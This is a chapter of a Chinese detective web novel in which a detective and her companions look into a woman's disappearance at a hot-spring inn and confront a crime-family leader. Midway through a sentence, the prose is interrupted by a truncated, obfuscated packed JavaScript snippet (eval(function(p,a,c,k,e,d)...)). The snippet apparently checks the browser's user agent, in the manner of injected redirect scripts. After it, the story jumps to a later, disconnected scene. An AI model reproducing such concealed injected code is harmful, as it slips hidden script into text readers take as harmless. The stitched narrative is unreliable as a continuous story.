从屋内走出的老者从阴影中露出面容,年约五六十岁之间,眉目清明肃正,锐利的五官挑起些纹路,面颊肌肉流失不明显,她每一根灰色的发丝都备受关注地被梳在脑后。年龄没有阻碍她沉稳的脚步,进入三人视线中时那背挺得很直,如一颗青松。 在这温暖的天气里她依然穿着至少三层衣服,熨烫整齐的衬衫领子扣到最上面一颗,外是服帖的灰色西装马甲,再是灰绿色的羊绒长风衣,整体没有拖泥带水的部分。 看着那张不苟言笑的脸,犬山晓想起了自己的班主任。 “您就是启明星侦探,以及,两位助手。”青山老师上前一步,低下头看向启明星。 “正是,我受一家族的委托前来调查吉田川光的下落,这位是我的助手六十七号,以及同行者犬山小姐。”启明星笑着摘下手套伸出与对方问好,青山老师一顿,也脱下了手套,与启明星握手。 看着那两只手握在一起,犬山晓感受奇妙。 “旅馆现在处于完全歇业状态,无外客,各位可以自行调查任何区域,若是需要指引就请问她。带着各位前往死者房间。”青山老师脸略微朝侍者的方向偏了偏,眼睛继续看着启明星,那并不是在盯着她看,只是因为光是被那双眼睛扫过就会有种被凝视的感觉而已。 “有劳了。”启明星点头,杵着拐杖走进了屋内。 三人跨上台阶走进有些暗的屋内,配上隐约绕鼻的木香,这种恰到好处的昏暗会给客人放松的感觉,但现在犬山晓只担心启明星会因此而不小心被绊倒。 走过几间开放式的休息室和餐厅后,青山老师带着几人进入私人包厢区,这些就是刚才几人坐在车上时看见的那些环山小木屋。 一路上青山老师的脚步飞快,不匆忙但也不停下来向几人介绍旅馆设施,只是一味的带路。穿过几个缓拐角后她停在一间双开木门前,站定,回头看向其余四人。 “…您脚步真是稳健。”深呼吸平复心跳的启明星微笑着说。 犬山晓看向脚下的光洁木制地板,心想她们是不是应该在入口处换一下鞋才对。 “真是失礼了,没注意到您行动不便。”青山老师这样说着,“这间就是吉田川光登记的房间,单人登记,现金支付。” 很明显她并没有道歉的意思,这位老者习惯于走在前面并且走的很快。 “走廊里有监控摄像头吗?”启明星看向昏暗的走廊问道。 “啊,走廊里是有的,公共区域也有监控录像,当时的记录都有保存的。”回答的人是侍者,“但房间里和汤泉区域就没有了。” “可以理解。”启明星点头,“请为我准备一下事发当天全天的监控录像吧,停车场的也需要,麻烦了。” 侍者看了看青山老师,随后才回应,“已经准备好了,您随时可以查阅。” “吉田川光最后一次进入房间后就再也没有出现在监控画面下,录像显示最后一个进入房间的人是前天傍晚负责给她送餐的侍者小良,她已经接受过盘问了。她进入房间时吉田川光还在房间内,无异常状况,她放下餐盘并换过卫生用品后就离开了。”青山老师说着拉开了双拉门,绘制着典雅花草水墨画的木门在滑行时没有发出任何声音。 房间内是普通的大床房,比寻常高楼酒店房间宽敞些许,床不及膝盖高,布置和软装与旅馆风格统一。但最为惹眼的果然还是正对着双开门前方墙壁上的另一扇木门,此时开着一半,向几人展示一条山景和上升着袅袅热气的石头围起一圈的汤泉。 当然,汤泉区和外部有着木质围栏,若是坐在汤泉其中的话就得仰起头才能看见山林了。 “有警察来调查过吗?”启明星问。 “有简单调查过,现场还保持着原样。”青山老师说,启明星若有所思,开始调查。 床铺是乱的,被子被随意地掀起堆叠,部分衣物散落在脚凳上和两边,生前痕迹明显。衣橱里未挂衣物,本该在其中的浴衣和一件藏青色西装外套被扔在沙发上,办公区只有些垃圾和水壶,地上有一块显眼的区域被黄色警告牌标出隔开,内部有一块较为明显的发黑红色。 洗漱间内更是凌乱,浴巾随意地被抛弃在地上和置物架上,淋浴区和浴缸里都有水渍,一次性或非一次性洗漱用品随意地扔得到处都是。 启明星随意地看了眼地上的血迹,径直走向汤泉区,拉开了隔开水汽和卧室的木门。 木制围栏功能为隔断人与人与自然之间的距离,高约两米,表面光滑,维护状态良好。汤泉与隔断之间有约一米半的间距,步行区地面铺设石板,踩踏声发闷,表面有做防滑雕刻。 汤泉区有室内造景,热气之间,角落低矮木松一旁放有石灯笼,铺设小面积人造草地,上方摆设着小茶几和坐垫用于休息,现空置。 热流从脚下隔着鞋底上升,犬山晓忍不住四处走动维持局部体温,她看向穿着厚实的青山老师,心想老年人有这么怕冷吗? “围栏外面是什么?能通往哪里?”启明星问。 “外面就是山林区,开发痕迹少,下面有河,附近土质松软常人无法行走。”青山老师说,“这里的泉水是人工引流的天然泉水并加热的,有上山的路,但是连着的是接待室后门,不允许客人进入,从这里也看不见。” “所以还是有可能从这里翻出去前往停车场的,这里到停车场大概多少路程?”启明星问道。 “不可能的,晚上外部没有人造光。”青山老师皱眉否定道,“而且吉田川光没有车辆记录,停车场有摄像头,没有记录到有陌生车辆出入。” 她的语气十分笃定,犬山晓知道启明星不喜欢被这样否认,所以哪怕对方说话语气实在是太像班主任了,她也想说些什么。 “那吉田川光总不能是从这里蒸发了吧,既然理论上可以做到那这样想也没关系吧。”犬山晓硬着头皮说。 “…随你们想。”青山老师看了一眼犬山晓,没有再争论。 “这话说的没错,吉田川光不可能人间蒸发,但她独自在日落之后翻墙跑走的可能性很小,而且她这样做的理由我也想不出来。”启明星思索着问,“就你们而言,她该如何从这个房间里逃走的呢?” 这话问的是六十七号与犬山晓。 “我认为,”六十七号举手,启明星点头了之后他开口说,“我认为她可能是跳进外面那条河里游走了,也有可能是漂流,或者说——” “好了住嘴吧。”启明星说。 “很遗憾,她大概无法跳出这里,”启明星摇头,“木板很光滑,浴池区没有可以垫脚的东西给她用。” “不是翻出去的话,”犬山晓想了想,“会不会是从别的地方逃走了呢?例如密道或者机关什么的,又或者说有隐藏的地下室?”说这里时她想的是神脉医院的地下区域。 “这倒是可能性很高哦,”启明星点头,“这家旅馆建造的时间很早,主人都换过三次了,若是早期留下了密道被吉田川光偶然发现并藏进去了也是有可能的。” “这样的话,”犬山晓有些被激励了,“那是不是说明她还活着并藏在附近呢呢?那两个人就是知道这件事才觉得我们找得到她的。” “不可能的。”青山老师否定的声音如此冷酷无情。 “您又怎么能确定呢?”犬山晓忍不住问了,“您又不是这栋屋子的建造者,而且哪怕是建造者也不知道后期会不会新建一些新的密道什么的吧。” 就像是神脉医院的地下建筑,不同区域的地下部分很明显并不出自同一时期。 但犬山晓忽然想到,这样一来吉田川光的去处不就有了更多的可能性吗?本来她若是只是藏在附近的地下室还可能被找到,若是房间里有通往外界的密道,那时间过去了这么久之后她就真的了无踪迹了。 “…虽然说建造者确实无法完全了解其造物,更别提拥有者。”青山老师皱眉,深刻的纹路让眼神显得更加锐利,“但我确实还算对建筑工程设计学有所了解,按照旅馆建筑结构和所处位置地理环境,这间屋子内不可能出现密道入口或者什么暗门,也没有密室那种东西。” 老者用词谦逊,但语气很好地弥补上了其中的否决含义。 “好吧,”犬山晓抿了抿嘴,“那会不会有机关什么的?” “大型的机关不会有,但如果是钓鱼线或者从门缝里塞进来的纸片就不清楚了,这里该是侦探推演的部分吧?”青山老师看向启明星。 “感谢您的解说,这样一来很多可能性就被排除了呢。”启明星笑着看向青山老师,“顺带一提,那位侍者小良,以及其它侍者现在都在哪里呢?” “小良她作为目击证人现在应该在警察局吧,其它侍者都放假休息了。”侍者回答说。 “这样。”启明星若有所思地问,“小良是专门负责这一间,或者说负责吉田川光的吗?” “没错,”侍者点了点头,“我们都是专人负责的,无论是送餐还是换卫生用品,除了离开后的卫生清扫,其余全程都由一个人负责。” “哎呀,那可真是令人感到安心。”启明星笑了笑,“屋里没有餐具什么的,是事后都被收走了吗?” “是的,将餐盘或其它垃圾放在门口的话打扫卫生的人会带走。”侍者回答。 “不是一个人啊。”启明星若有所思,“餐盘和小良带走的卫生用品都有检查过吗?” “检查过了,没什么奇怪的地方,也没有有用的东西。”青山老师说。 “让我猜猜看,”启明星笑着说,“你们侍者使用的推车是普通酒店常用的那种,上下两层,下面盖着布放卫生用品的推车吧。” “没错,就是那种。”侍者点头。 “你是想说推进这个房间里的推车藏了人吗?”青山老师皱眉问,“小良已经接受过盘问了,没有这么一回事。” “接受办案警察的笔录询问吗?”启明星问。 “…自然。”青山老师说。 “在那之前呢?”启明星问。 “什么?”青山老师问。 “在笔录之前,盘问侍者小良的是谁?”启明星歪了歪头,直视青山老师的眼睛,“是你们的人吗?” 空间安静了下来,水声夹杂树枝摇曳的声响透了些气,青山老师低头看着启明星,嘴角扯了扯,似乎是想笑,但最后还是失败了。 “不愧是启明星侦探,您无愧于您的名声。”青山老师说。 “什么?怎么回事?”犬山晓一点没明白为什么话题变成了这个。 一旁的侍者身体颤抖了起来,青山老师摆了摆手,她就逃也似的站到了房间门外。 “来让我介绍一下吧。”启明星看着青山老师,身体偏向犬山晓,“这位是北野家族的首领,北野春,就和一二三四一样哦。” “哦哦。”犬山晓愣了愣,她没什么实感,或者说对于这个位置没什么概念。 “别把我和她的名字放在一起。”北野春没什么表现,“我就不问你是怎么认出我的了,如何,现在有什么新的想法了吗?” “首先,我默认各位,也就是您的势力加上警官们在此前的约24小时内有对这里进行完整的调查,就当我相信有各位能替我完成前置工作的能力吧,以此为前提,再加上您的证词,剩下还需要的证词就不算多了。”启明星也没什么意外的表现,“不过我姑且还处于被雇佣状态,请容我替我的雇主询问一下您的调查目的吧?为了避险。” 并不是个人,而是以背后的势力为基础问话,这样的情况下得到真正答案的可能性才高一些,启明星并不认为对方有必要回答自己一介私人侦探的问题,虽然说她现在勉强还算是对方的租户吧。 北野家族管理的鲸岛集团控制下的建筑公司数不胜数,但大多数人不知道其家族式管理下的集团总公司总裁同时也负责管理其家族,说的很绕口,但简单来讲就是北野春大权在握多年。 “我们对于一家族的财务状况不感兴趣。”北野春说,“我只是希望确认这件事的结果,仅此而已。” “您最近没这么闲吧?”启明星摇了摇头,“这件事的原因事关我的推理过程,若是您也在意我的结论的就请说清楚一些吧。” “你用什么保证答案的正确,侦探?”北野春看着启明星的视线里有着审视,或许是年龄不同,比起一二三四那过于有攻击性的语气相反,北野春说话并不难听,甚至相比之下可以说是温和的。 但她的语句同样容不下被质疑的余地,她说出口的话大多肯定的像是那些在世间流传已久的真理。即使她没有带任何护卫在身边,只有她一个人站在那里,也足够有分量。 这是一个久居高位的上位者,虽然不知为何跑来山里假扮旅馆老板,但无论如何,这不是可以随意敷衍了事的对象。而且她假扮的原因还有待商榷,启明星心里将近期的一切联系起来,觉得自己的推理并没有什么问题。 “我可是启明星。”她说,“现在这个理由还无法说服您吧,那这样如何?” “门外的侍者,能进来一下吗?”启明星呼唤道,那侍者小心翼翼地探出头,随后缓慢地走了进来。 “我,我在。”她依旧尽量保持礼貌。 “汤泉的池水多久换一次?”启明星问道。 “我们的泉水是循环溢流的,不需要抽干换水,这也是我们的特色。”侍者介绍说。 “这就是所谓的奔流不息吧,那浑浊的水里可都是矿物质啊。”启明星说,“水池可以抽干吗?” “啊,之前警察用密网捞过很多次了,所以。”侍者为难地说。 “所谓的漏洞就是从网里漏出去的呀,”启明星叹了口气,“这样执着于一点非鄙人所愿,但现在可能性的泉水即将枯竭,在露出丑陋的河床之前,请让鄙人再取一瓢饮吧?” “啊?”侍者没听懂。 “去放水。”北野春吩咐道。 “啊,可是我们这里私人汤池是自动续水的,除非把上流堵住,不然水池是没办法放空的。”侍者紧张地比划道。 “这里就能看出助手存在的必要了。”启明星说,“六十七号。” “为您服务?”六十七迅速回应。 “去跟着这位侍者前往上流,找点什么东西把水流暂时堵住。”启明星看向侍者,“麻烦您带路了。” “好,好吧。”侍者有些犹豫,但还是动身了,“这位先生请跟我来。” 二人离开了房间内,启明星蹲下身查看地上的血渍。 “这里有人取样过了吗?”她问道。 “检验报告已经出来了,血迹确实属于吉田川光。”北野春说。 之前启明星还以要等实验报告等缘由延长提交结果的时间,犬山晓心想这雇主和侦探之间的关系性真是复杂。 “这里的木质地板全都有做防滑处理,浴池区到室内有单独的吸水垫,她因滑倒而受伤的可能性不高,更大概率是遇袭。”启明星说。 北野春没有说话,她看向室外的枫树,在想些什么。 “那按照您之前的想法,果然是有谁躲在侍者小良的手推车下层进入了房间,与吉田川光进行了打斗吧,然后那个人想办法从室内将其带走了。”犬山晓尝试分析道。 “这个想法的逻辑是通顺的,撇开动机不谈,剩下的疑点就是侍者小良为何表现得没有说她有看到异常现象,以及那人是如何带走吉田川光的。”启明星说着,看向了北野春。 “侍者小良在你们盘问她的时候表现出了十足的恐惧,对吧?”启明星问道。 “记录确实如此。”北野春点头。 “这是因为她提前知晓了自己的遭遇,会有除警察之外的人前来问话,而那人的身份是□□成员。”启明星笃定地说,“而同样,告诉她这件事的人大概率也是□□成员,这人提前威胁过这位胆子不算大的侍者,告诉她‘不要参与进□□事务中,这不关你的事’这样的想法。” “你是说那个袭击吉田川光的人让侍者不要乱说话,她就真的一个字也不说,甚至是面对警察时也没有透露出自己的遭遇吗?”北野春厉声质问。 通常一个人在遭遇了□□威胁之后都会因威胁者的身份而产生恐惧心理,比起‘报复’或者‘彻底解决这件事’,将自己撇出相关人士之外才是最保险的做法。但在有值得信任的存在保护的情况下,哪怕是为了家人考虑,受害者也会与警察交流以达成让威胁者尽快失去威胁。 “说实话比起你们,公共安全机关的可信度反而没那么高。”启明星摆了摆手,“但无论如何现实并不是侦探小说,刚才的也不过是推论,是抵达真相的道路的可能性之一。” “真希望你一直能有这样的退路。”北野春说。 “不存在退路,只有另择它路,这又不是什么可以推翻后重新推理的案件游戏,犯案者没有遮掩行踪的想法。鄙人的目的是找到目标,推理真相不过是业余爱好。”启明星坦然道。 “你让助手去堵住上游是认为你要找的东西在水池里面?”北野春皱眉,本就锋利的眉眼有如刀片一般骇人。 “您明察。”启明星点头。 “若是那其中不存在你要找的东西,你又该如何?”北野春问道。 犬山晓觉得有些奇怪,为何这个人如此执着于启明星的调查结果呢?现在她说的话仿佛启明星必须就在现在给出一个准确的答复一样。若是无法做到,以她的身份而言都不需要自己动手,启明星事务所的招牌被砸也是简单的事。 “那个,”犬山晓问启明星,“我们在明天中午前找到东西和人就行了,不是这样吗?” 随后她又看向北野春,“您想要知道的真相是吉田川光去哪里了,是这样没错吧,我们也在找她,着急反而会出错的,请不要把话说的这么死。” 北野春凝眉看向犬山晓,不置一词。这并非是在无视犬山晓的问题,而是她的问题还没得到一个答复。 “那您也来为鄙人的推理结果感到期待吧。”启明星笑了,并没有紧张。 “…你听清我在说什么了吧。”北野春反问。 “当然,十分百分千分万分清楚,清楚到再清晰不过了,所以才这样说的。”启明星点头看向犬山晓,“犬山小姐说的没错,我们在明天中午之前上交答卷即可,但您就没那么闲了不是吗?在这里与我们相遇已经是难得的巧合了,不如珍惜一番如何?” 启明星的言下之意犬山晓隐约明白了,这位气质很像她班主任的人似乎并不是有意在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“货运车使用者登记名为佐崎辽二。”北野春说,“此人为港口工人协会分会的控制人,港口工人与鲸岛子公司有签订协议,以租借使用搬运工具。” 这个名字犬山晓总感觉在哪里听说过,而且不算很久以前。 “…原来如此。”启明星闭上眼思考了一会之后这样说,她将眼睛睁开看向犬山晓,“犬山小姐似乎对这个名字有印象。” “是的,但我确实不认识这个人,完全想不起来了。”犬山晓困惑地说。 “只有一面之缘也能留下印象就不错了。”启明星摆了摆手,“此人是之前野兽袭击事件的受害者之一,您应该未曾见过其本人。” 那隐藏在深处的答案终于被咬钩,犬山晓霎时间就回想起了这个名字,但很快随即而来的是更多的疑问,例如佐崎辽二已经死了,那这个司机是谁? “受害者的身份和数量从未公开过,但那位朋友的消息从来不会出错,佐崎辽二的死亡是毋庸置疑的事实。”启明星说,“有人冒充其身份租下货运车,目的是隐藏自己的身份,以及将这件事牵扯到鲸岛身上,而其这么做原因则与我的雇主的真实目的有关,也与您有关。那么您到底是想查清真相后撇清关系,还是想以此做些什么呢?” 话说完,启明星就看着北野春等她给出一个答复。 “这些就不是你能知道的了,侦探。”北野春说,“你能知道的现在已经全都摆在你面前了,接下来是你的工作时间。” “…您真是如传言中那样,硬的像块石头呢。”启明星叹了口气,“那您独自前来这里又是为了什么呢?您也清楚,最近这座城市称不上安全吧?” “无可奉告。”北野春说,“浴池里的水已经放空了,去看看吧。” 几人谈话间,六十七号堵住上流后浴池的水平面逐渐下降,湿气依旧缭绕。 “犬山小姐,劳烦您代替腿脚不便的我们前往浴池中查看一番吧。”启明星说。 “当然,不过是要找什么呢?”犬山晓问道。 “什么都可以,只要是可疑的东西,都请将其取下。”启明星说。 “到头来你也不清楚浴池里有什么,这不过是在浪费时间。”北野春捏了捏眉心。 “所以您也来期待吧,”启明星看着犬山晓跳下浴池,“期待我们没有在浪费时间,而是能从其中获得些什么确切可用的东西。我可是在相信各位基础调查做的足够充分的基础上作出这样的思考的,不如也相信一下你们自己如何?” “相信我们,所以认为我们什么都没查出来,也无法再从现场中调查出什么可用的证据了吗。侦探目前为止的推论进度如何?”北野春问。 “推论无数,抵达真相的路需要证据铺设,”启明星说,“以及动机。” “现实不是侦探小说不是你说出口的吗,动机没那么重要。”北野春摇头。 “…自然,现实不讲逻辑,但实际上我更倾向于逻辑只是藏起来了这个观点哦。”启明星笑了。 “经典的侦探逻辑,我还以为这一套早就不被继续使用了。”北野春说。 “现代科技以及某些存在容不下侦探徒增事端,我可是很努力地在保护尊严了,但再怎么说我可是启明星,自然是不同的。”启明星自信地说。 二人谈话间,犬山晓带着字面意思上的一头雾水扶着石头跳下了浴池,浴池内也由石头拼接而成,底部有个小型的出水口,此时已经没多少蓄水了。 说是不同,但犬山晓却不知不同的标准是什么,一块颜色花纹好看些的石头算是不同吗?这种汤泉旅馆里的浴池本该是什么样的呢?现在这个小小的模糊空间内只有她一个人,她的判断真的是可以被信任的吗? 带着这样不自信的想法,她摸索着探索地面是否因为水平面下降而露出什么警察没能捞起来的东西,但那样的东西一定是细小的,哪怕并没有被捞走说不定也从出水口溜走了吧。 但就像启明星认为雇主说话是有依据的一样,犬山晓认为启明星说话也会有依据才对,并不会让她白跑一趟。随即她想起启明星使用的是“取下”这样的言辞,而不是更广泛的找出。于是她将目光从地面转移到墙壁上。 石头拼接的缝隙之中,一个因为过于规律而惹眼的存在出现在了犬山晓的眼前,那是一个十面骰,被非常用力地塞进了石缝之中,这样的程度哪怕之后的客人靠在这上面也不会感到有异常的。犬山晓小心将其取下,没有破坏骰子本身。 “有个东西!”犬山晓从浴池下露出一个头,“有个十面骰镶嵌在浴池的石缝里。” “哼哼。”启明星心情很好地笑了,“那真是了不得的收获呀,多亏了犬山小姐的眼力。” “哪里哪里。”犬山晓翻身跳出浴池,将骰子放进了启明星的手中。 “一家族的信物,”北野春肯定地说,“这是吉田川光自己塞进去的。” “可是她为什么要这样做呢?”犬山晓不理解道。 “…吉田川光恐怕并不是一家族的叛徒,或许她甚至不是财务人员,只是一二三四手下的某个,值得她信任的下属而已。”启明星说着,给六十七号发信号让他回来。 “咦?”犬山晓大为不解,“为什么要这样做呢?她可是说了‘活的最好死的也行’,她不是家族的首领吗?” 北野春叹了口气。 “正是因为她是家族首领。”她说。 “吉田川光或许本该死在这间屋子,或者说浴池中,这件事若是就此结束也轮不到我们出场了。”启明星用大拇指和食指捏起十面骰,放在阳光下看,“她失踪了,一二七先生确实需要确认此人和账本的下落重新回归控制。但一二三四就并非如此了,她需要吉田川光带着账本赴死,但她必须确认尸体在哪,而不是生死不明。” “…我不理解,这太奇怪了。”犬山晓头疼地说。 “对吧?”启明星叹了口气,“那些人就是喜欢弯弯绕绕地达成目的,所以觉得奇怪也是正常的。” “这样啊。”犬山晓松了口气。 “所以这骰子能指向吉田川光的位置吗?”北野春问。 “不,这并不含有任何发信器,只是一枚象征身份的,主人舍不得丢下的骰子而已。”启明星将骰子丢给北野春,她也抬起查看,确认其中确实没什么奇怪的东西。 “旅馆的监控摄像头能记下车辆就也能记下人的脸,那位冒牌的司机您并不陌生,这才是您亲自来到现场的主要原因吧。”启明星看向北野春的侧脸,“到此之前算是免费试阅部分,接下来就请付费阅读吧,报酬的话,就以您的真实目的为何,如何?” “你是以什么样的身份来问我这个问题的?”北野春问道,并非嘲讽而是确实在提问。 “不是一家族委托的侦探,也不是兴趣使然。”启明星肯定地说,“鄙人以整件事情起因的知情人,以及相关者犬山小姐的同行者,这样的身份足够得到您的回应了吗?” “相关者,我吗?”突然被提起的犬山晓不明所以地问启明星。 “当然。”回答的却是北野春,她将骰子丢回给启明星,动作利落得不像这个年纪的人。 “您认识我吗?”犬山晓试探着问北野春,她完全不认识此人。 “很难不认识,之前95号公路部分因路面受损而需要紧急封闭,修复工作还是鲸岛建筑承包的,善后工作同理。多年前另一边的人欠了我一次,录像我看了。”北野春说,“不过既然你们是同行者,那很多事就不应该瞒着你们。” 她转身,随意地将会客沙发的衣物扔到桌上,并坐下了,哪怕这样她的背也依旧挺得笔直。 犬山晓大惊失色,没想到竟是如此深刻程度上的认识。那这样一来岂不是在说她们几个的身份在北野春眼里都暴露了,再联系她们之前在高速上的遭遇,她现在忽然就意识到,此人并非只是一个普通的对案件情况关心的人。而她出现在这里也间接性说明了这件事确实与她们,或者说与她们追查的目标有关。 得到这件事的结果之后,她要做些什么吗?她对于一切都知道多少呢?神脉医院的事情和天使的事情她都知道吗?犬山晓警惕了起来。 “您并不是因为高速上那件事认识她们,而是本来就认识她们,从而关注那起善后事件的吧。”启明星笃定地说,“也就是说,北野家族也是白夜社中的一员,而一家族也同理。” 这样说着,她忍不住因为自己的推理正确而得意微笑。 “没有错误。”北野春看向犬山晓,“我是因为特殊情况而知晓你们的身份,别这么大惊小怪了。”她的神态诉说她并不以此为奇,也就是说,她知晓一切。 “什么特殊情况?”犬山晓放不下心。 “交通运输和管制,以及垃圾处理都属于鲸岛集团的营业范畴。而我活的够久了,知道的东西也比寻常人要多。”北野春说。 虽然如此,但犬山晓还是无法放下心来,她非常不愿意与□□扯上关系,也不愿意自己的身份被□□人物了解。 “那么那位司机想必身份也足够特殊吧。”启明星说。 “算是亚贝琉家族的老人了。”北野春点头,“最近她们在刻意引发事端,白夜社所属的家族全都无法幸免,别提普通人。” “但之前发生的事情你们也有参与吧。”犬山晓肯定地说。 “没错,家族的作用不正是如此。”北野春说道,不知为何,她的语气带着蔑视。 “不如说白夜社就是一个以亚贝琉为核心运转的巨大机械,所属势力以家族式管理也是方便其控制,尤其是控制有姓氏的首领以控制有姓氏的家族管理层。”启明星说,“若是我猜的没错,北野家族是没有一个完整的财务部门的吧。” 北野春点头,以抬头的方式。 “这是合理的吗?”犬山晓疑惑道。 “不合理,但各司其职是白夜社最大的运行规则,其首领是执行者,监督人可是会用魔法来处决犯规者的。”启明星说,“犬山小姐将整个白夜社视作为一个巨大的公司就好,旗下不同家族各自为其管理一个部门,CEO就是亚贝琉家族,湛是CEO中的CEO。” 这很难想象,哪怕是合法的企业如此之大的规模和扭曲的运行规则都是难以长久维持的,更别提其还有□□。但犬山晓联想到其在神脉医院的所作所为,或许一个能利用超乎寻常的力量并懂得布局以寻求长远发展的存在确实可以做到这一点。 但越是这样想犬山晓就越是对其目前正在做的事情的结果感到怀疑。 “这不合理。”出乎意料的是,北野春反驳了这一点,“这样的控制无论持续多少年都不会成为合理的,更何况亚贝琉家族现在几乎是在毁灭白夜社的一切。” “可是你就是帮手,北野家族就是在你的控制下跟着白夜社的规则运行的。而你作为家族首领也是最大的受益者不是吗?”犬山晓根本不理解为何她会是这幅态度,但这不妨碍她觉得这个人非常可疑。 “…没错。”北野春闭上了眼,“所以鲸岛集团如果想存续下去,我就是最大的障碍。” 61.INMATE-007 北野春向二人解释了自己前来这里进行勘查的真实目的,即,她认为这件事可能是亚贝琉家族将混乱引向北野家族的导火索。 “之前很多事情都是你们处理的吧,”犬山晓思索着说,“不仅仅是高速公路修复,按照你的说法,神脉医院的重建也是你们负责的,还有其地下部分的建筑的也是。” “正如你所言,鲸岛集团从我接手起就一直负责白夜社所属所有家族的各类建筑的建筑工程和维修,同时也接管部分交通。”北野春介绍起自家公司语气带着一些自豪。 “这样的话如果你们出了事她们那边不会有好处的吧?”犬山晓求证。 北野春不语。 “对常人来说没有,但犬山小姐也知道,那些人不能以常理来讨论。”启明星说,“您可能不太了解其它地区,自从两个月前开始各个地区的城市管理都开始出现混乱迹象。据天生目池元自己的会议总结,已经有不少□□人士因此而丢掉性命了。” 能让一个家族首领说出“不少”,那就是很多了。 “我认为,这也是她们的目标之一。”北野春说,“那些明显更具有人性的亚贝琉姓氏下属是从湛开始负责管理后才出现的。” 犬山晓对人性这一说法存疑。 “您见过其中的一部分吗?”启明星问。 “当然,具体内容就不提了,不过是些传话。”北野春说。 “你没有想过反抗那些指令吗?那些人并不是没有弱点的。”犬山晓问,就她而言,人类与天使对上并非毫无胜算的。 北野春闻言抬头看向犬山晓,如水里的鱼看向开掘水槽的挖掘机。 “…四十多年前的一天,白夜社正式成立初期,反对科勒斯特的做法的存在无论是哪边都不少。那时武器管制不算太严,有个领头的带着几百个手持冲锋枪的人包围了市区那还在投入使用的化工厂。结果是那些人里的每一个,全都消失了,那天街上特别安静。当时我还是个孩子,这件事是天生目池元告诉我的。”北野春捏了捏眉心,“她们第一次向我传话时我甚至以为我在做梦,我和生活助理本来在单独谈话,办公室忽然就变得很安静,我转过头就发现助理消失了。” 北野春放下了手,搭上膝盖,多层布料覆盖她的前肢,加上手套,她本不该觉得冷了。 “桌上多了一个信封,笔记本上多了一行字,说是帮我把虫子抓走了。北野氏族登记在案的组织中人数有五位数,鲸岛总公司员工就有六位数,但她们,我,我们,和虫子又有什么区别。” 北野春的声音没什么起伏,神色也如常,仿佛那个信封带给她的震撼已经和那个信封本身一起被扔进了碎纸机里不复存在一般。但她不会说无用的话,这些话语的作用是诉说常人眼里天使的存在,哪怕这个常人是一个庞然大物的家族首领。 犬山晓意识到,常人拿起那封信,是会恐惧的。 这件事过去十余年了,但那种静谧却随时都有可能降临,哪怕是现在,哪怕是在人群当中。即使北野春已经不再是为此心惊胆战的青年人了,她依然会为这种传话方式而沉默。 “随时随地防着小偷都很累,”启明星叹了口气,“我能理解您的苦衷。” “我,还有其它人都长期居住在这个城市里,但我们重点势力范围却在别的城市。这是一种管制,但这并不说明她们就没有远距离打击手段,至少科勒斯特就用过。”北野春说。 北野春说话时语气并没有什么波动,脊背也不曾弯曲,但偶尔斑驳的光线划过她的皱纹时,那些痕迹无声地诉说了这些陈年往事并非真的是燕过无痕。 “…是我想当然了,抱歉。”犬山晓理解了并非所有人都像她一般不需要顾忌后果。她常年孤身一人,做什么事都只需要担心自己的问题,唯一有所牵连的克拉拉并不需要她考虑安全问题,那钢铁城堡一般的实验室更是里面比外面危险些。 从北野春这种背负着许多事务的人的亲口谈论中,她第一次理解普通人的责任的重量。扪心自问,哪怕是她也无法从多个行动轨迹不明的疯子手里保护那六位数的普通人。 “所以您想要得知那位冒牌司机带着吉田川光去了哪,目的是什么,是否是湛指示其这样做的,并且这件事会不会影响到北野势力,是这样吧。”启明星总结道。 “没有我可以补充的了。”北野春点头。 “一二三四会不会也是抱着这样的想法让我们调查的呢?她好歹也是个家族首领。”犬山晓举一反三道。 虽然她打二把手,行为粗鲁,对谁都没一副好脸色,但既然是家族首领就会考虑一下家族成员的人身安全,吧? “虽然只是我的一面之词,但你们最好不要太对她的家族归属感抱有太大的希望。”北野春说,她语气里没什么贬低的意味,只是在陈述事实。 “啊,是因为之前说过的那个,她的身世问题吧。”犬山晓有印象。 “与北野家族和天生目不同,一家族几乎是靠一二三一个人撑起来的,40年前我还是个孩子的时候就听说过她的传说,以及她组建势力的传闻。”北野春看见犬山晓一副不理解的模样,无奈解释说,“赌神的名号哪怕你没听说过也足够响亮了吧,传说她的个人资产有十吨黄金。” “哦,那是很厉害了。”犬山晓觉得那确实挺厉害的。 “但是这些黄金并没有被一二三四继承,甚至可以说,十年前一二三三带着她的所有资产消失之后其家族一度陷入经济危机,投资者不再信任,名下的赌场多数濒临倒闭。”启明星点头补充道,“而一二三四就是那个时候接手家族的,您是因此认为她没有家族归属感的吗?” 犬山晓想了想,如果忽然让她接手一个濒临破产的公司,哪怕这个人是她亲祖母她也会考虑之后拒绝的。年轻人接手濒临破产的大公司随后将其发扬光大听着像个不错的故事剧本,但大多数人不会选择自己成为故事开始的主角吧。 “一二三的个人资产所得大多数来源是赌博,而且是豪赌。运气,背景,手法,三者缺一不可。就我得知的线索而言,那背景与运气都是她与亚贝琉家族交易所得,她如果还活着的话可以说是唯一真的与科勒斯特交流过的存在了吧。”北野春说,“但一二三四并没有接手这桩交易。” “运气是可以交易的吗?”犬山晓大为震惊,她从来不知道魔法还能做到提升这种玄之又玄的东西的效果。 “…即使并非传统意义上的运气,魔法能做到相似效果的手法简直是数不胜数。”启明星思索着说,这对她而言也是个新鲜消息,“不过一二三四前期确实是靠投资以及各种充满风险的方式集资的,若是知道了前一点真相再看她的作为的话,就不免会觉得这有些不公平了。” “而且与我不同,那孩子并没有得到直接的传话,她一直以来都靠一二三留下的信息保持与亚贝琉家族的关系。”北野春似乎是想要叹息但又觉得这不尊重对方,“简单来说,湛并不正式承认她作为一家族首领的身份,只是因对方长期遵守规则并没有拒绝而已。” “她知道这件事吗?”犬山晓心想以一二三四的自尊心绝不会接受这样的做法,更别提是十年前的一二三四。 “我无法断言。”北野春摇头,“我因一二三而去见过那孩子,你们见过她了吧?也见识过那副态度,她是故意那样做的。” “我的朋友告诉我,以前她与家族管理层关系很僵,主要就是因为她们不认可风险很高的投资行为。”启明星也找了个椅子坐下了,“但现在来看,或许她比起对家族负责,更想证明自己吧。” 